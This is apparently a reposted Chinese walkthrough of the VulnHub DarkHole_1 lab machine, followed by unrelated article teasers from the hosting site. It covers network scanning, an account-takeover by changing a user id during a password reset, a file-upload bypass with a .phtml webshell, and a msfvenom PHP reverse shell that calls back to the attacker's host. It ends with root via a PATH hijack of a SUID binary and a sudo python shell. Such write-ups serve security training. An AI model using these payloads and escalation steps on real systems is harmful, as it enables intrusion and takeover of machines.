VulnHub靶場之DarkHole_1

1 信息收集

1.1 主機發現

arp-scan -l 

主機IP地址為:192.168.1.17

1.2 端口和服務掃描

nmap -sS -sV -A -T5 -p- 192.168.1.17 

開放22,80端口

1.3 目錄掃描

dirsearch -u 192.168.1.17

2 滲透

2.1 訪問端口

2.2 注冊賬號

暴力破解不現實,可以嘗試注冊一個個賬號

分別輸出入用戶名,郵箱,密碼

2.3 登錄網站

2.4 抓包

測試修改密碼并將id修改為1

這里現在密碼已經更新 已經修改好了從新登入:admin/123 發現登入成功!!!! 看到一個上傳點 🆗又可以繼續利用了

2.5 文件上傳

這里過濾了很多試了好幾個都不行(連接不上)可以使用phar或者phtml進行繞過

新建一個文檔輸入: ` 把后綴改為png、jpg、gif然后抓包 修改為phtml`然后放包 有個藍色的file點擊即可

上傳結果

2.6 中國蟻劍鏈接

2.7 反彈shell

1 生成php反彈shell腳本:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.52 lpor=4444 -o shell.php

2 啟動pythonweb服務

python3 -m http.server 80

在靶機的upload文件夾下載:

wget http://192.168.1.17/shell.php

3 kali啟動msf監聽

開啟msf,使用模塊,設置參數和載荷:

use exploit/multi/handler
set lhost 192.168.1.52
set lport 4444
set payload php/meterpreter/reverse_tcp

開啟監聽并訪問shell文件觸發監聽:

run
http://192.168.1.17//upload/msfshell.php

進入shell,并生成一個交互式shell:

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

3 提權

3.1 敏感文件

查看敏感文件之后發現有兩個用戶:

cat /etc/passwd | grep /bin/bash

3.2 提權

經過一番搜索,在john的家目錄發現一個叫toto的文件,具有SUID權限,其作用是輸出id:

既然如此,我們能不能修改一下環境變量,讓他執行id命令的時候打開一個john的bash:

echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto

拿到john的權限之后,查看john的家目錄,找到了密碼:

查看john的權限: 這里需要輸入密碼

sudo -l

發現john可以以root的身份執行file這個python文件:

在file.py里面寫一段打開shell的代碼,再以root的身份執行:

echo "import pty;pty.spawn('/bin/bash')" > file.py
sudo python3 /home/john/file.py

成功拿到root權限!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/40422.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/40422.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/40422.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python爬取國家醫保平臺公開數據

國家醫保服務平臺數據爬取python爬蟲數據爬取醫療公開數據 定點醫療機構查詢定點零售藥店查詢醫保機構查詢藥品分類與代碼查詢 等等,數據都能爬 接口地址:/ebus/fuwu/api/nthl/api/CommQuery/queryFixedHospital 簽名參數:signData {dat…

【AI原理解析】-目標檢測概述

目錄 一、目標檢測算法的分類 1. 基于傳統方法的目標檢測算法 2. 基于深度學習的目標檢測算法 二、主要目標檢測算法 1. R-CNN系列 2. YOLO系列 3. SSD 4. RetinaNet 三、目標檢測算法的特點 四、評估指標 五、應用領域 一、目標檢測算法的分類 目標檢測算法主要分…

java版本ERP管理系統源碼 Spring Cloud ERP_ERP系統_erp軟件_ERP管理系統

在當今數字化時代,企業對高效、穩定且易于擴展的管理系統的需求日益增長。為了滿足這一需求,我們精心打造了一款基于Java技術的ERP(Enterprise Resource Planning)管理系統。該系統充分利用了Spring Cloud Alibaba、Spring Boot、…

python-計算矩陣邊緣元素之和(賽氪OJ)

[題目描述] 輸入一個整數矩陣&#xff0c;計算位于矩陣邊緣的元素之和。 所謂矩陣邊緣的元素&#xff0c;就是第一行和最后一行的元素以及第一列和最后一列的元素。輸入&#xff1a; 輸入共 m 1 行。 第一行包含兩個整數 m, n (1 < m,n < 100) &#xff0c;分別為矩陣的…

VDS虛擬導播切換臺軟件

VDS 導播軟件是一款功能強大的虛擬導播系統軟件&#xff0c;具有全媒體接入、播出內容豐富、調音臺、快捷切播與導播鍵盤、云臺控制等特點&#xff0c;同時支持向多個平臺直播推流。以下是一些常見的 VDS 導播軟件特點&#xff1a; 1. 全媒體接入&#xff1a;支持多種設備和網…

Ubuntu和Windows系統之Mamba_ssm安裝

Mamba的論文&#xff1a;https://arxiv.org/abs/2312.00752 Mamba的github&#xff1a;https://github.com/state-spaces/mamba 一、Ubuntu安裝 直接新建一個環境是最好的&#xff0c;不然很容易產生各種沖突 # 創建環境和相關包 conda create -n mamba python3.10.13 cond…

設計模式——程序員的武功招式

設計模式就是套路&#xff0c;就是武功招式。 碰到什么問題出什么招。 設計模式是軟件行業幾十年的應對問題的經驗總結——武功招式總結。 大成境界是無招勝有招。 但是問題是無限的&#xff0c;對應的招式&#xff0c;你也可以創建&#xff0c;所以現在設計模式還在不斷的誕生…

嵌入式Framebuffer面試題精要及參考答案

什么是Framebuffer?簡述其在Linux系統中的作用。 Framebuffer,中文譯作幀緩沖,是Linux內核提供的一種抽象設備接口,用于允許用戶態的應用程序直接訪問和操作顯示設備的顯存,從而實現圖形的直接輸出。在Linux系統中,Framebuffer扮演著連接硬件顯卡和軟件應用的關鍵角色。…

Linux 文件系統檢查與修復:使用fsck、e2fsck等命令

Linux文件系統檢查與修復&#xff1a;使用fsck、e2fsck等命令 引言 文件系統是操作系統中用于管理和存儲文件的關鍵組件。然而&#xff0c;文件系統在使用過程中可能會出現各種問題&#xff0c;如數據損壞、文件丟失等。為了確保文件系統的完整性和穩定性&#xff0c;我們需要…

java-arraylist 源碼分析 1

## 深入分析 Java 中的 ArrayList 源碼 ArrayList 是 Java 集合框架中的一個重要類&#xff0c;它基于數組實現&#xff0c;提供了動態數組的功能。ArrayList 是一個非常常用的集合類&#xff0c;因為它在隨機訪問和遍歷方面性能優越。本文將詳細分析 ArrayList 的源碼&#x…

spring cloud gateway客戶端websocket斷開連接,服務側連接沒有關閉的問題處理

之前在單體架構項目中使用了websocket主動推送消息的功能&#xff0c;后來改成了微服務架構&#xff0c;結果發現部分消息丟失&#xff0c;沒能推送給客戶端&#xff1b;深入排查發現服務端無法感知websocket連接狀態&#xff0c;但是在單體架構里面是沒這個問題的&#xff0c;…

Redis【超詳細】

Redis 是一個基于內存的key-value結構的數據庫 一、redis的安裝 1.1、安裝步驟 1&#xff09;安裝Redis依賴 Redis是基于c語言編寫的&#xff0c;因此需要安裝對應的gcc環境 yum install -y gcc tcl 2&#xff09;進入/usr/local/src/目錄上傳并解壓安裝包 解壓&#xf…

【APK】SDKManager運行后閃退

本地JDK已安裝&#xff0c;且配置了環境變量&#xff0c;未安裝 android studiio 問題描述&#xff1a;右鍵以管理員身份運行 SDKManager&#xff0c;終端窗口閃退 問題原因&#xff1a;未找到正確的Java路徑 解決辦法&#xff1a; 1.修改tools目錄下的 android.bat 文件&am…

langchain 入門中篇:數據封裝,Memory 封裝

數據的處理流程可以看一張圖來幫助理解 數據來源可以是網絡&#xff0c;可以是郵件&#xff0c;可以是本地文件 經過 Document Loaders 加載&#xff0c;再在 Transform 階段對文檔進行 split, filter, translate, extract metadata 等操作&#xff0c;之后在 Embed 階段進行向…

Keil用ST-LINK下載STM32程序后不自動運行

之后程序可以運行了&#xff0c;但是串口還沒有輸出&#xff0c;在debug模式下都是ok的。

加權 KNN 算法的原理與詳解

加權kNN&#xff0c;k近鄰算法的增強改進版本。 加權KNN算法 近鄰算法&#xff08;k-Nearest Neighbors, kNN&#xff09;是一種用于分類和回歸的非參數方法。它的基本思想是“看鄰居”&#xff0c;即通過查找離目標點最近的 K 個數據點&#xff0c;來判斷目標點的類別或數值。…

docker安裝elasticesarch-head

安裝 Elasticsearch-Head 通常涉及以下步驟&#xff1a; 拉取 Elasticsearch-Head 的 Docker 鏡像。 運行 Elasticsearch-Head 容器并連接到 Elasticsearch 實例。 以下是具體的命令&#xff1a; 拉取 Elasticsearch-Head 的 Docker 鏡像 docker pull mobz/elasticsearch-…

Sqlserver 如何創建全局只讀賬號?

由于SQL Server不支持全局數據庫權限&#xff0c;因此需要在每個數據庫中創建用戶并授予其只讀權限。可以使用動態SQL腳本來為所有現有數據庫設置權限&#xff0c;具體腳本如下 ##創建登陸賬號CREATE LOGIN user01 WITH PASSWORD password; ##除了系統庫外給user01 db_datare…

FactoryBean原理及用法

它的作用是用制造創建過程較為復雜的產品, 如 SqlSessionFactory, 但 Bean 已具備等價功能 使用 被 FactoryBean 創建的產品 會認為創建、依賴注入、Aware 接口回調、前初始化這些都是 FactoryBean 的職責, 這些流程都不會走 唯有后初始化的流程會走, 也就是產品可以被代理增…

學習aurora64/66b.20240703

簡介 The AMD LogiCORE?IP Aurora 64B/66B core是一種可擴展的輕量級高數據速率鏈路層協議&#xff0c;用于高速串行通信。該協議是開放的&#xff0c;可以使用AMD設備技術實現。 Aurora 64B/66B是一種輕量級的串行通信協議&#xff0c;適用于多千兆位鏈路 (如下圖所示)。它…